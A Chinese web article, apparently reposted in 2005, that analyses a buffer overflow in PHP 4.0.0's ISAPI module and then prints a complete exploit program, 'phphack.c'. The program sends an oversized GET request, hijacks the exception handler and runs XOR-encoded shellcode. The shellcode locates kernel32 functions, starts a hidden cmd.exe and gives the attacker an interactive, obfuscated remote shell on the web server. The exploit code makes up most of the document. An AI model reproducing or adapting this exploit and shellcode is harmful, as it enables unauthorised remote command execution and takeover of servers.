|
|
php4.0.0远程溢出源代码分析与测试程序 |
|
|
作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站 |
php4.0.0才出来的时候,我们测试发现php4isasp.dll有缓冲溢出漏洞,下面是php4isapi.c的相关源代码:
static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC) { char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE]; char *variable_buf; DWORD variable_len = ISAPI_SERVER_VAR_BUF_SIZE; char *variable; char *strtok_buf = NULL; LPEXTENSION_CONTROL_BLOCK lpECB; char **p = isapi_server_variables;
lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);
/* Register the standard ISAPI variables */ while (*p) { variable_len = ISAPI_SERVER_VAR_BUF_SIZE; if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len) && static_variable_buf[0]) { php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC); } else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { variable_buf = (char *) emalloc(variable_len); if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len) && variable_buf[0]) { php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC); } efree(variable_buf); } p++; }
/* PHP_SELF support */ #ifdef WITH_ZEUS if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len) #else if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)
/* php4.0.0漏洞所在地,缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量 */ /* php4.0.3 已经修补 */
#endif && static_variable_buf[0]) { php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);
/* 因为形参被覆盖,而这形参又很难伪造,所以传统的溢出攻击因为这个调用不能返回而无效 但我们可以使用异常结构攻击,可以参见我的相关的文章 */
}
/* Register the internal bits of ALL_HTTP */
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) { variable_buf = static_variable_buf; } else { if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) { variable_buf = (char *) emalloc(variable_len); if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) { efree(variable_buf); return; } } else { return; } } variable = php_strtok_r(variable_buf, "\r\n", &strtok_buf); while (variable) { char *colon = strchr(variable, ':');
if (colon) { char *value = colon+1;
while (*value==' ') { value++; } *colon = 0; php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC); *colon = ':'; } variable = php_strtok_r(NULL, "\r\n", &strtok_buf); } if (variable_buf!=static_variable_buf) { efree(variable_buf); } }
因为形参的问题,采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一,可能需要根据被攻击系统的WINDOWS版本调整相关参数。具体攻击测试代码:
/* php4.0 overflow program phphack.c ver 1.0 copy by yuange <[email protected]> 2000。08。16
*/
#include <windows.h> #include <winsock.h> #include <stdio.h> #include <httpext.h> // #define DEBUG
//#define RETEIPADDR eipwin2000 #define FNENDLONG 0x08 #define NOPCODE 'B' // INC EDX 0x90 #define NOPLONG 0x3c #define BUFFSIZE 0x20000
#define RETEIPADDRESS 0x900+4 #define SHELLBUFFSIZE 0x800 #define SHELLFNNUMS 9 #define DATAXORCODE 0xAA #define LOCKBIGNUM 19999999 #define LOCKBIGNUM2 13579139
#define SHELLPORT 0x1f90 //0x1f90=8080 #define WEBPORT 80
void shellcodefnlock(); void shellcodefn(char *ecb);
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv) { char *server; char *str="LoadLibraryA""\x0""CreatePipe""\x0" "CreateProcessA""\x0""CloseHandle""\x0" "PeekNamedPipe""\x0" "ReadFile""\x0""WriteFile""\x0" "Sleep""\x0" "cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0" "XORDATA""\x0" "strend"; char buff1[]="GET /default.php4"; char buff2[]=" HTTP/1.1 \nHOST:"; char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char SRLF[]="\x0d\x0a\x00\x00";
char eipjmpesp[] ="\xb7\x0e\xfa\x7f"; // push esp // ret char eipexcept[]="\xb8\x0e\xfa\x7F"; // ret char eipjmpesi[]="\x08\x88\xfa\x7F"; char eipjmpedi[]="\xbe\x8b\xfa\x7F"; char eipjmpebx[]="\x73\x67\xfa\x7F"; // push ebx // ret /* jmp ebx功能代码地址, 中文WINNT、中文WIN2000此地址固定 这是处于c_936.nls模块 win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。 */
char buff[BUFFSIZE]; char recvbuff[BUFFSIZE]; char shellcodebuff[0x1000]; struct sockaddr_in s_in2,s_in3; struct hostent *he; char *shellcodefnadd,*chkespadd; unsigned int sendpacketlong; // unsigned int i,j,k; unsigned char temp; int fd; u_short port,port1,shellcodeport; SOCKET d_ip; WSADATA wsaData; int offset=0; int xordatabegin; int lockintvar1,lockintvar2; char lockcharvar; int OVERADD=RETEIPADDRESS; int result;
fprintf(stderr,"\n PHP4.0 FOR WIN32 OVERFLOW PROGRAM 2.0 ."); fprintf(stderr,"\n copy by yuange 2000.8.16."); fprintf(stderr,"\n wellcome to my homepage http://yuange.yeah.net ."); fprintf(stderr,"\n welcome to http://www.nsfocus.com ."); fprintf(stderr,"\n usage: %s <server> [webport] \n", argv[0]);
if(argc <2){ fprintf(stderr,"\n please enter the web server:"); gets(recvbuff); for(i=0;i<strlen(recvbuff);++i){ if(recvbuff[i]!=' ') break; }
server=recvbuff; if(i<strlen(recvbuff)) server+=i; /* fprintf(stderr,"\n please enter the offset(0-3):"); gets(buff); for(i=0;i<strlen(buff);++i){ if(buff[i]!=' ') break; } offset=atoi(buff+i); */ }
result= WSAStartup(MAKEWORD(1, 1), &wsaData); if (result != 0) { fprintf(stderr, "Your computer was not connected " "to the Internet at the time that " "this program was launched, or you " "do not have a 32-bit " "connection to the Internet."); exit(1); }
/* if(argc>2){ offset=atoi(argv[2]); } OVERADD+=offset; if(offset<0||offset>3){ fprintf(stderr,"\n offset error !offset 0 - 3 ."); gets(buff); exit(1); }
*/
if(argc <2){ // WSACleanup( ); // exit(1); } else server = argv[1];
for(i=0;i<strlen(server);++i){ if(server[i]!=' ') break; } if(i<strlen(server)) server+=i;
for(i=0;i+3<strlen(server);++i){ if(server[i]==':'){ if(server[i+1]=='\\'||server[i+1]=='/'){ if(server[i+2]=='\\'||server[i+2]=='/'){ server+=i; server+=3; break; } } } } for(i=1;i<=strlen(server);++i){ if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0; }
d_ip = inet_addr(server); if(d_ip==-1){ he = gethostbyname(server); if(!he) { WSACleanup( ); printf("\n Can't get the ip of %s !\n",server); gets(buff); exit(1); } else memcpy(&d_ip, he->h_addr, 4); } if(argc>2) port=atoi(argv[2]); else port=WEBPORT; if(port==0) port=WEBPORT;
fd = socket(AF_INET, SOCK_STREAM,0); i=8000; setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i)); s_in3.sin_family = AF_INET; s_in3.sin_port = htons(port); s_in3.sin_addr.s_addr = d_ip; printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port)); if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0) { closesocket(fd); WSACleanup( ); fprintf(stderr,"\n connect err."); gets(buff); exit(1); } _asm{ mov ESI,ESP cmp ESI,ESP } _chkesp(); chkespadd=_chkesp; temp=*chkespadd; if(temp==0xe9) { ++chkespadd; i=*(int*)chkespadd; chkespadd+=i; chkespadd+=4; }
shellcodefnadd=shellcodefnlock; temp=*shellcodefnadd; if(temp==0xe9) { ++shellcodefnadd; k=*(int *)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4; }
for(k=0;k<=0x500;++k){ if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break; } memset(buff,NOPCODE,BUFFSIZE); if(argc>4){ memcpy(buff,argv[4],strlen(argv[4])); } else memcpy(buff,buff1,strlen(buff1)); // strcpy(buff,buff1); // memset(buff+strlen(buff),NOPCODE,1);
memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80); // memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80); shellcodefnadd=shellcodefn; temp=*shellcodefnadd; if(temp==0xe9) { ++shellcodefnadd; k=*(int *)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4; }
for(k=0;k<=0x1000;++k){ if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break; }
memcpy(shellcodebuff,shellcodefnadd,k); //j); cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k); for(i=0;i<0x400;++i){ if(memcmp(str+i,"strend",6)==0) break; } memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i; for(k=0;k<=0x200;++k){ if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
}
for(i=0;i<sendpacketlong;++i){ temp=shellcodebuff[i]; temp^=DATAXORCODE; if(temp<=0x10||temp==' '||temp=='.'||temp=='/'||temp=='\\'||temp=='0'||temp=='?'||temp=='%'){ buff[OVERADD+NOPLONG+k]='0';
// buff[NOPLONG+k]='0'; ++k; temp+=0x40; } buff[OVERADD+NOPLONG+k]=temp;
// buff[NOPLONG+k]=temp; ++k; }
// memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong); // k+=sendpacketlong;
/* for(i=-0x30;i<0x30;i+=4){ memcpy(buff+OVERADD+i,eipexcept,4); } memcpy(buff+OVERADD+i,eipjmpesp,4); */ for(i=-40;i<0x40;i+=8){ memcpy(buff+OVERADD+i,"\x42\x42\x42\x2D",4); memcpy(buff+OVERADD+i+4,eipjmpebx,4); } memcpy(buff+OVERADD+i+8,"\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42",24);
// fprintf(stderr,"\n offset:%d",offset);
/*
192.168.8.48 if(argc>2){ server=argv[2]; if(strcmp(server,"win9x")==0){ memcpy(buff+OVERADD,eipwin9x,4); fprintf(stderr,"\n nuke win9x."); } if(strcmp(server,"winnt")==0){ memcpy(buff+OVERADD,eipwinnt,4); fprintf(stderr,"\n nuke winnt."); } }
*/
sendpacketlong=k+OVERADD+i+NOPLONG; //sendpacketlong=k+NOPLONG;
strcpy(buff+sendpacketlong,buff2); strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff); // buff[sendpacketlong]=0x90; strcpy(buff+sendpacketlong,"\n\n"); /* buff[sendpacketlong]=0x90; for(i=-0x30;i<0x30;i+=4){ memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4); } memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);
strcpy(buff+sendpacketlong+OVERADD+i+4,"\xff\x63\x64"); strcpy(buff+sendpacketlong+OVERADD+i+20,"\n\n"); */
// printf("\n send buff:\n%s",buff); // strcpy(buff+OVERADD+NOPLONG,shellcode); sendpacketlong=strlen(buff);
/* #ifdef DEBUG _asm{ lea esp,buff add esp,OVERADD ret
} #endif
*/ if(argc>6) { if(strcmp(argv[6],"debug")==0) { _asm{ lea esp,buff add esp,OVERADD ret } } }
xordatabegin=0; for(i=0;i<1;++i){ j=sendpacketlong; fprintf(stderr,"\n send packet %d bytes.",j); // fprintf(stderr,"\n sned:\n%s ",buff); send(fd,buff,j,0); k=recv(fd,recvbuff,0x1000,0); if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) { xordatabegin=1; k=-1; fprintf(stderr,"\n ok!\n"); } if(k>0){ recvbuff[k]=0; fprintf(stderr,"\n recv:\n %s",recvbuff); }
}
k=1; ioctlsocket(fd, FIONBIO, &k);
// fprintf(stderr,"\n now begin: \n");
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM; lockintvar2=lockintvar1;
/* for(i=0;i<strlen(SRLF);++i){ SRLF[i]^=DATAXORCODE; } send(fd,SRLF,strlen(SRLF),0); send(fd,SRLF,strlen(SRLF),0); send(fd,SRLF,strlen(SRLF),0); */ k=1; while(k!=0){ if(k<0){ gets(buff); k=strlen(buff); memcpy(buff+k,SRLF,3); // send(fd,SRLF,strlen(SRLF),0); // fprintf(stderr,"%s",buff); for(i=0;i<k+2;++i){ lockintvar2=lockintvar2*0x100; lockintvar2=lockintvar2%LOCKBIGNUM; lockcharvar=lockintvar2%0x100; buff[i]^=lockcharvar; // DATAXORCODE; // buff[i]^=DATAXORCODE; } send(fd,buff,k+2,0); // send(fd,SRLF,strlen(SRLF),0); } k=recv(fd,buff,0x1000,0); if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) { xordatabegin=1; k=-1; }
if(k>0){ // fprintf(stderr,"recv %d bytes",k); if(xordatabegin==1){ for(i=0;i<k;++i){ lockintvar1=lockintvar1*0x100; lockintvar1=lockintvar1%LOCKBIGNUM; lockcharvar=lockintvar1%0x100; buff[i]^=lockcharvar; // DATAXORCODE; } } buff[k]=0; fprintf(stderr,"%s",buff); } // if(k==0) break; } closesocket(fd); WSACleanup( ); fprintf(stderr,"\n the server close connect."); gets(buff); return(0); } void shellcodefnlock() { _asm{ nop nop nop nop nop nop nop nop _emit('.')
_emit('p') _emit('h') _emit('p') _emit('4') _emit('?')
jmp next getediadd: pop EDI push EDI pop ESI push ebx // ecb push ebx // call shellcodefn ret address xor ecx,ecx looplock: lodsb cmp al,cl jz shell cmp al,0x30 jz clean0 sto: xor al,DATAXORCODE stosb jmp looplock clean0: lodsb sub al,0x40 jmp sto next: call getediadd shell: NOP NOP NOP NOP NOP NOP NOP NOP } }
void shellcodefn(char *ecb) { char Buff[SHELLBUFFSIZE+2]; int *except[2];
FARPROC Sleepadd; FARPROC WriteFileadd; FARPROC ReadFileadd; FARPROC PeekNamedPipeadd; FARPROC CloseHandleadd; FARPROC CreateProcessadd; FARPROC CreatePipeadd; FARPROC procloadlib;
FARPROC apifnadd[1]; FARPROC procgetadd=0; FARPROC writeclient= *(int *)(ecb+0x84); FARPROC readclient = *(int *)(ecb+0x88); HCONN ConnID = *(int *)(ecb+8) ; char *stradd; int imgbase,fnbase,k,l; HANDLE libhandle; //libwsock32; STARTUPINFO siinfo;
PROCESS_INFORMATION ProcessInformation; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; int lBytesRead; int lockintvar1,lockintvar2; char lockcharvar;
SECURITY_ATTRIBUTES sa; _asm { jmp nextcall getstradd: pop stradd lea EDI,except mov dword ptr FS:[0],EDI } except[0]=0xffffffff; except[1]=stradd-0x07;
imgbase=0x77e00000; _asm{ call getexceptretadd } for(;imgbase<0xbffa0000,procgetadd==0;){ imgbase+=0x10000; if(imgbase==0x78000000) imgbase=0xbff00000; if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){ fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; k=*(int *)(fnbase+0xc)+imgbase; if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){ libhandle=imgbase; k=imgbase+*(int *)(fnbase+0x20); for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){ if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor') { k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24)); k+=*(int *)(fnbase+0x10)-1; k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c)); procgetadd=k+imgbase; break; } } } } } //搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址 //注意这儿处理了搜索页面不在情况。
if(procgetadd==0) goto die ;
for(k=1;k<SHELLFNNUMS;++k) { apifnadd[k]=procgetadd(libhandle,stradd); for(;;++stradd){ if(*(stradd)==0&&*(stradd+1)!=0) break; } ++stradd; }
sa.nLength=12; sa.lpSecurityDescriptor=0; sa.bInheritHandle=TRUE;
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0); CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
// ZeroMemory(&siinfo,sizeof(siinfo)); _asm{ lea EDI,siinfo xor eax,eax mov ecx,0x11 repnz stosd } siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; siinfo.wShowWindow = SW_HIDE; siinfo.hStdInput = hReadPipe2; siinfo.hStdOutput=hWritePipe1; siinfo.hStdError =hWritePipe1; k=0; // while(k==0) // { k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation); stradd+=8; // } PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0); k=8; writeclient(ConnID,stradd+9,&k,0);
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM; lockintvar2=lockintvar1;
while(1) { PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0); if(lBytesRead>0) { ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if(lBytesRead>0) { for(k=0;k<lBytesRead;++k){ lockintvar2=lockintvar2*0x100; lockintvar2=lockintvar2%LOCKBIGNUM; lockcharvar=lockintvar2%0x100; Buff[k]^=lockcharvar; // DATAXORCODE; // Buff[k]^=DATAXORCODE; } writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC); } } else{ lBytesRead=SHELLBUFFSIZE; k=readclient(ConnID,Buff,&lBytesRead); if(k!=1){ k=8; WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe while(1){ Sleepadd(0x7fffffff); //僵死 } } else{ for(k=0;k<lBytesRead;++k){ lockintvar1=lockintvar1*0x100; lockintvar1=lockintvar1%LOCKBIGNUM; lockcharvar=lockintvar1%0x100; Buff[k]^=lockcharvar; // DATAXORCODE; // Buff[k]^=DATAXORCODE; } WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); // Sleepadd(1000); } } } die: goto die ; _asm{
getexceptretadd: pop eax push eax mov edi,dword ptr [stradd] mov dword ptr [edi-0x0e],eax ret errprogram: mov eax,dword ptr [esp+0x0c] add eax,0xb8 mov dword ptr [eax],0x11223344 //stradd-0xe xor eax,eax //2 ret //1 execptprogram: jmp errprogram //2 bytes stradd-7 nextcall: call getstradd //5 bytes NOP NOP NOP NOP NOP NOP NOP NOP NOP } }
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len) { int i,k; unsigned char temp; char *calladd;
for(i=0;i<len;++i){ temp=shellbuff[i]; if(temp==0xe8){ k=*(int *)(shellbuff+i+1); calladd=fnadd; calladd+=k; calladd+=i; calladd+=5; if(calladd==chkesp){ shellbuff[i]=0x90; shellbuff[i+1]=0x43; // inc ebx shellbuff[i+2]=0x4b; // dec ebx shellbuff[i+3]=0x43; shellbuff[i+4]=0x4b; } } } }

|
|
相关文章:相关软件: |
|